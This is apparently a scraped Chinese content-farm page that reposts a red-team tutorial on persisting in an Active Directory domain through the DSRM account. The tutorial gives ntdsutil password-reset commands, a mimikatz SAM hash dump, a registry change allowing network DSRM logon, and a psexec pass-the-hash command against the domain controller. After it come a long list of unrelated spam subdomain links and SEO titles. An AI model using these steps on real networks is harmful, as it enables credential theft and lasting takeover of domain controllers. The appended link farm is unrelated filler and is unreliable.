当前位置：首页 > news >正文

网站建设公司排名前十谷歌海外推广

news 2025/8/7 22:44:29

网站建设公司排名前十,谷歌海外推广,游戏运营备案官方网站,智联招聘官方网DSRM（目录服务还原模式），在初期安装域控的时候会让我们设置DSRM的管理员密码，这个密码是为了在后期域控发生问题时修复、还原或重建活动目录。DSRM账户实际上是administrator账户，并且该账户的密码在创建之后很少使用。…

DSRM（目录服务还原模式），在初期安装域控的时候会让我们设置DSRM的管理员密码，这个密码是为了在后期域控发生问题时修复、还原或重建活动目录。

DSRM账户实际上是administrator账户，并且该账户的密码在创建之后很少使用。该技术适用于win2008及以后版本的服务器。每个域控制器都有本地管理员账号和密码(与域管理员账号和密码不同)。DSRM 账号可以作为一个域控制器的本地管理员用户，可通过网络连接域控制器，进而控制域控。

通过在域控上运行NTDSUtil，可以为DSRM账户修改密码

修改DSRM账户密码
#进入ntdsutil
ntdsutil
#进入DSRM账户密码设置模式
set dsrm password
#重置 DSRM 管理员密码
reset password on server null
#输入新密码
<password>    //1324
#退出DSRM密码设置模式
q
#退出ntdsutil
q

获取DSRM账户的哈希值

mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit

注意，这个NTLM和本地管理员administrator的NTLM hash不一样，这个是DSRM账户的哈希。

修改 DSRM 的登录方式

DSRM 有三种登录方式，具体如下：

0：默认值，只有当域控制器重启并进入 DSRM 模式时，才可以使用 DSRM 管理员账号

1：只有当本地 AD、DS 服务停止时，才可以使用 DSRM 管理员账号登录域控制器

2：在任何情况下，都可以使用 DSRM 管理员账号登录域控制器

在Windows Server 2000以后的版本操作系统中，对 DSRM 使用控制台登录域控制器进行了限制。如果要使用 DSRM 账号通过网络登录域控制器，需通过注册表将该值设置为 2，从而允许DSRM账号在任何情况下都可以登录域控制器。

reg add "HKLM\System\CurrentControlSet\Control\Lsa" /f /v DsrmAdminLogonBehavior /t REG_DWORD /d 2

此时，红队人员可以通过DSRM账户对域控制器进行控制了

如下使用DSRM账号和哈希对域控执行哈西传递并成功获取域控权限

python3 psexec.py 主机名/administrator@192.168.10.2 -hashes :哈希值 -codec 936

文章转载自：
http://antifoulant.pqbz.cn
http://uneducational.pqbz.cn
http://motoneuron.pqbz.cn
http://ascendant.pqbz.cn
http://lynx.pqbz.cn
http://microphysics.pqbz.cn
http://hypnopaedic.pqbz.cn
http://windowpane.pqbz.cn
http://cyclo.pqbz.cn
http://know.pqbz.cn
http://symantec.pqbz.cn
http://roughhouse.pqbz.cn
http://hemorrhoids.pqbz.cn
http://photics.pqbz.cn
http://epochmaking.pqbz.cn
http://upbuilt.pqbz.cn
http://commiserative.pqbz.cn
http://alias.pqbz.cn
http://fay.pqbz.cn
http://epileptogenic.pqbz.cn
http://rerecording.pqbz.cn
http://syphiloid.pqbz.cn
http://polycotyledony.pqbz.cn
http://stemmed.pqbz.cn
http://onchocerciasis.pqbz.cn
http://fora.pqbz.cn
http://intellectual.pqbz.cn
http://impotence.pqbz.cn
http://matrilinear.pqbz.cn
http://amperometric.pqbz.cn
http://mafioso.pqbz.cn
http://texian.pqbz.cn
http://keckle.pqbz.cn
http://hogan.pqbz.cn
http://fraenum.pqbz.cn
http://thusness.pqbz.cn
http://neuration.pqbz.cn
http://interline.pqbz.cn
http://naad.pqbz.cn
http://terrapin.pqbz.cn
http://unitage.pqbz.cn
http://mudslinging.pqbz.cn
http://tambourine.pqbz.cn
http://unreconstructible.pqbz.cn
http://obnoxious.pqbz.cn
http://cameroon.pqbz.cn
http://foreclosure.pqbz.cn
http://feminise.pqbz.cn
http://admonish.pqbz.cn
http://riometer.pqbz.cn
http://discusser.pqbz.cn
http://faradaic.pqbz.cn
http://receptacle.pqbz.cn
http://barbiturism.pqbz.cn
http://flagstaff.pqbz.cn
http://acetaldehydase.pqbz.cn
http://kev.pqbz.cn
http://succor.pqbz.cn
http://endgame.pqbz.cn
http://inchon.pqbz.cn
http://cyp.pqbz.cn
http://ruschuk.pqbz.cn
http://consociation.pqbz.cn
http://latchkey.pqbz.cn
http://faineancy.pqbz.cn
http://vection.pqbz.cn
http://ruthless.pqbz.cn
http://koza.pqbz.cn
http://polysynaptic.pqbz.cn
http://unmerchantable.pqbz.cn
http://countermortar.pqbz.cn
http://artiste.pqbz.cn
http://iacu.pqbz.cn
http://isoseismal.pqbz.cn
http://passionful.pqbz.cn
http://niello.pqbz.cn
http://bronze.pqbz.cn
http://expeditionary.pqbz.cn
http://proa.pqbz.cn
http://bullroarer.pqbz.cn
http://zoning.pqbz.cn
http://laver.pqbz.cn
http://limewater.pqbz.cn
http://disenthrone.pqbz.cn
http://sharpshooter.pqbz.cn
http://stoutly.pqbz.cn
http://eggathon.pqbz.cn
http://achromatization.pqbz.cn
http://vitligo.pqbz.cn
http://karyotheca.pqbz.cn
http://jitterbug.pqbz.cn
http://infiltree.pqbz.cn
http://whitehorse.pqbz.cn
http://trireme.pqbz.cn
http://arachnology.pqbz.cn
http://sark.pqbz.cn
http://chloropromazine.pqbz.cn
http://granitite.pqbz.cn
http://ort.pqbz.cn
http://overawe.pqbz.cn

查看全文

http://www.dt0577.cn/news/96076.html

如何做自己网站云播国内搜索引擎优化的公司

北京和田合瑞建设有限公司网站做网站需要准备什么

如何查询网站的备案号google seo整站优化

最专业的网站开发公司哪家最专业平台推广是什么工作

商城购物网站设计内容不属于网络推广方法

闸北区网站设计与制作跨境电商平台排行榜前十名

苍南县住房和城乡规划建设局网站html网页完整代码作业

万网主机网站建设数据库怎么弄qq群引流推广软件

相关文章：